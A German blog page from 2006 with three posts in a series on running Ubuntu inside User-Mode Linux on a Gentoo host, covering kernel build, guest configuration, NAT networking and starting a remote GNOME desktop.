Es werden ca. 550 MB runtergeladen und 900 Pakete installiert, das kann also dauern. Ich installiere hier absichtlich die Gnome Variante, weil ich KDE schon unter Gentoo benutze. Wenn man KDE installieren möchte, einfach kubuntu-desktop verwenden. Ich würde noch empfehlen per apt-get install ssh ssh Client und Server zu installieren, kann immer praktisch sein, s. weiter unten.
Nachdem die Installation nun durchgelaufen ist, sollten erstmal die Runlevel Links aufgeräumt werden:

for x in `echo acpi-support acpid alsa-utils apmd \
avahi-daemon bittorrent bluez-utils \
brltty cupsys evms festival gdm lvm \
hdparm hplip mdadmn mdadm-raid pcmcia \
pcmciautils postfix powernowd \
powernowd.early ppp pppd-dns uplsash \
vbesave x11-common`
do
  update-rc.d -f $x remove
done

Einen Kommentar zu diesem Chaos erspar ich mir mal… man sollte einer neue Distribution ja unvoreingenommen gegenüber treten ;)

Wenn man noch irgendwelche Einstellungen zu machen hat, z.B. ssh keys, vi Feintuning, User anlegen etc, ist jetzt der richtige Zeitpunkt. Als nächstes wäre ein “reboot” nicht verkehrt, nur zur Sicherheit. Ansonsten kann man sich jetzt als User einloggen, entweder über die Konsole oder über SSH. Auf dem Host System sollte man jetzt einen 2. XServer starten, z.B. per:

Xorg :1 -ac -fullscreen &

Hinweise: Das -ac ist böse, ich weiß. Es erlaubt jedem X-Client sich mit dem X-Server zu verbinden, ähnlich xhost +. Zum testen aber ideal. Man könnte den X Server natürlich auch in einem Fenster starten, da ist der aha Effekt besonders groß. Allerdings werden Hotkeys wie ALT+TAB vom ersten X-Server abgefangen und sind in Ubuntu nicht benutzbar.

Zwischen den beiden XServern kann man dann Mithilfe von STRG+ALT+F7 und STRG+ALT+F8 wechseln. Aktuell sollte man auf dem 2. XServer aber noch nichts sehen, das kommt erst jetzt. Auf dem Gastsystem starten wir jetzt z.B:

DISPLAY=192.168.100.1:1 xterm &

ein xterm sollte erscheinen. Wenn das soweit funktioniert kann man auch schwere Geschütze auffahren, z.B.

DISPLAY=192.168.100.1:1 gnome-session &

Tada. Ubuntu. Vermutlich mit Fehlermeldungen bzgl. alsa, sound, acpi etc, das kann man später noch korrigieren.

Jetzt folgt nur noch fein Arbeit. Es empfiehlt sich z.B. die DISPLAY Variable Global zu exportieren:

echo "export DISPLAY=192.168.100.1:1" >> /etc/profile

Zum starten des Ubuntu Systems, verwende ich folgendes Script:

#!/bin/bash
Xorg :1 &
screen -dmS ubuntu linux ubd0=/ubuntu.file ubd1=/ubuntu.swap con=pty con0=null,fd:2 con1=fd:0,fd:1 mem=256M eth0=tuntap,,,192.168.100.1
sleep 60
ssh christian@192.168.100.2 DISPLAY=192.168.100.1:1 gnome-session &

Vorallem den username und das sleep 60 kann und sollte man natürlich an seine Bedürfnisse anpassen.

Fertig. Viel Spaß mit dem so eben installierten Ubuntu! Demnächst folgt noch ein Beitrag mit weiterenführenden Gedanken (ich denke da gerade an XGL, per NFS geteiltes homedir, SKAS Kernel Patch fürs Host System, etc), Links und Screenshots.

jetzt kommentieren? So, 16. Apr 2006 um 19:59 Uhr Christian

Ubuntu in Gentoo installieren (Folge 3 – Netzwerk)

Die Einrichtung des Netzwerks für UML ist verhältnismäßig komplex, weswegen ich diesem Thema ein eigenen Abschnitt widme. Grundsätzlich gibt es zwei Möglichkeiten, das UML System ins Netz zu bringen, per Masquerade oder per Bridge des Host Systems. Die Variante mit Bridge ist flexibler, da das Gastsystem über eine eigene IP im Lokalen Netzwerk ansprechbar ist, ist aber nicht immer realisierbar und deutlich komplexer als die Masquerade Variante, weshalb ich diese hier beschreiben werde. Beim Masquerade arbeitet das Host System als NAT Router und bringt das Gastsystem so ins Netzwerk, das sollte ausreichen. Außerdem muss man sich so keine Gedanke über die Dienste die im Gastsystem laufen, machen da sie eh nicht von aussen erreichbar sind.
Als erstes muss das Hostsystem für Masquerading vorbereitet werden:

modprobe ip_nat
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Wenn die Module nicht gefunden werden, müssen sie nach kompiliert werden. Gleiches gilt für net-firewall/iptables. Automatisch kann man das Modul per /etc/init.d/modules.autoload.d/kernel-2.6 laden. Die iptables Regel fügt man am besten in /etc/conf.d/local.start ein.
Hinweis: Damit das Netzwerk funktioniert, ist es nötig, dass sys-apps/usermode-utilities installiert ist.

als nächstes wird das Gastsystem mit Parametern fürs Netzwerk gestartet:

linux ubd0=/ubuntu.file ubd1=/ubuntu.swap con=pty con0=null,fd:2 con1=fd:0,fd:1 mem=256M eth0=tuntap,,,192.168.100.1

192.168.100.1 wird die virtuelle IP des Host Systems sein.

nach einloggen in das Gastsystem vergeben wir eine private IP, versuchen das Hostsystem zu erreichen und wenn das klappt, wird die default route gesetzt und die DNS Informationen kopiert.

ifconfig eth0 192.168.100.2 up
ping 192.168.100.1
route add default gw 192.168.100.1
scp root@192.168.100.1:/etc/resolv.conf /etc/resolv.conf

nun noch die /etc/hosts anpassen:

127.0.0.1       localhost       
192.168.100.1    master
192.168.100.2    ubuntu-uml

Wenn das soweit funktioniert, kann man mit dem UML Ubuntu ins Internet und z.B.

apt-get update && apt-get upgrade

ausführen, um das System zu aktualisieren.

Natürlich sollte man die Netzwerkkonfiguration noch in den entsprechenden Ubuntu files eintragen, damit man es nicht bei jedem start des UML manuell konfigurieren muss. /etc/network/interfaces:

auto lo
iface lo inet loopback
 
auto eth0
iface eth0 inet static
     address 192.168.100.2
     network 192.168.100.0
     netmask 255.255.255.0
     broadcast 192.168.100.255
     gateway 192.168.100.1

Weitere Infos: http://user-mode-linux.sourceforge.net/UserModeLinux-HOWTO-6.html

Fortsetzung: Ubuntu in Gentoo installieren (Folge 4 – Desktop)

jetzt kommentieren? Sa, 15. Apr 2006 um 11:17 Uhr Christian

Ubuntu in Gentoo installieren (Folge 2 – UML)

Sodele, das frisch installierte Ubuntu läuft schonmal in einer chroot Umgebung. Aber das ist natürlich nicht sehr sinnvoll, weil sich so Prozesse des Hosts Systems (in unserem Fal Gentoo) und des Gast Systems (Ubuntu) in die Quere kommen. Also wird ein Usermode Linux für Ubuntu eingerichtet, darin kann man dann alles ausprobieren ohne das Hostsystem zu beeinträchtigen.
Dazu muss erstmal der Usermode-Kernel installiert werden, das passiert per:

echo "sys-kernel/usermode-sources ~x86" >> /etc/portage/packages.keywords
USE="-symlink" emerge sys-kernel/usermode-sources 
emerge sys-apps/usermode-utilities

USE=”-symlink” deshalb, damit der link von /usr/src/linux nicht auf die usermode sources umgeändert wird, die sollen ja nicht der Standardkernel werden. Als nächstes wird der usermode kernel kompiliert und als binary installiert. Ich habe hier für folgendes verwendet:

genkernel  --no-bootsplash --no-gensplash \
--kerneldir=/usr/src/linux-2.6.15-usermode-r1 --arch-override=um kernel

Wenn man mit der Kernel Konfiguration nicht zufrieden ist, kann man noch –menuconfig hinzufügen. Allerdings ist die Konfiguration die genkernel für UML verwendet soweit okay, denke ich. Also nächstes wird das gebaute Kernel Binary noch eine per PATH erreichbare Stelle, bei mir ist das ~/bin, und die module ins Ubuntu Image kopiert.

mount /ubuntu.file /mnt/ubuntu -o loop
cp /usr/src/linux-2.6.15-usermode-r1/linux ~/bin/
cp -R /lib/modules/2.6.15-usermode-r1-bs2 /mnt/ubuntu/lib/modules/

Sollte beim kompilieren etwas schief gehen, ich hatte z.B. Probleme mit einer aktuellen glibc Version, kann man einen Binary Kernel runterladen, z.B. von hier: http://www.user-mode-linux.org/~blaisorblade/

im weiteren Verlauf müssen noch ein paar Konfigurationsdateien des Gastsystems angepasst werden, damit UML einwandfrei läuft. Das Dateisystem sollte noch unter /mnt/ubuntu gemountet sein, also liegen dort auch die entsprechenden Dateien.

Die /etc/fstab des Gastsystems:

/dev/ubd0        /             ext3    defaults                 0    0
/dev/ubd1        none          swap    sw                       0    0
 
proc             /proc         proc    defaults                 0    0
sys              /sys          sysfs   defaults                 0    0

/etc/inittab: Alle bis auf eine konsole auskommentieren:

1:2345:respawn:/sbin/getty 38400 tty1
# 2:23:respawn:/sbin/getty 38400 tty2
# 3:23:respawn:/sbin/getty 38400 tty3
# ...

zusätzlich

echo "vc/0" >> etc/securetty

ein entsprechendes swap file wie oben in der fstab erwähnt sollte noch angelegt werden, z.B mit:

dd if=/dev/zero of=/ubuntu.swap bs=1024k count=500
mkswap /ubuntu.swap

ACHTUNG: Vorher auf jeden Fall /mnt/ubuntu mit umount /mnt/ubuntu unmounten. Sonst fliegt einem das Dateisystem um die Ohren (Ja, ich spreche aus Erfahrung ;) )
Als letzten Schritt für heute können wir das UML mit ubuntu dann booten:

linux ubd0=/ubuntu.file ubd1=/ubuntu.swap con=pty \
con0=null,fd:2 con1=fd:0,fd:1 mem=32M

mem=32M ist die Speichergröße, die dem UML zugewiesen wird, zum testen reichen erstmal 32MB. Wenn man aber richtig arbeiten will, sind 256 MB schon empfehlenswert. Natürlich abhängig davon, wie groß der RAM des Host System ist (in meinem Fall 1 GB, da sind 256 MB für das Gastsystem kein Problem).
Weitere Infos:
http://www.gentoo.org/doc/en/uml.xml
http://user-mode-linux.sourceforge.net

Fortsetzung: Ubuntu in Gentoo installieren (Folge 3 – Netzwerk)

jetzt kommentieren? Fr, 14. Apr 2006 um 21:24 Uhr Christian

ältere Beiträge


Kalender

September 2010
M D M D F S S
« Jun    
 12345
6789101112
13141516171819
20212223242526
27282930  

Monatsarchiv

Themenarchiv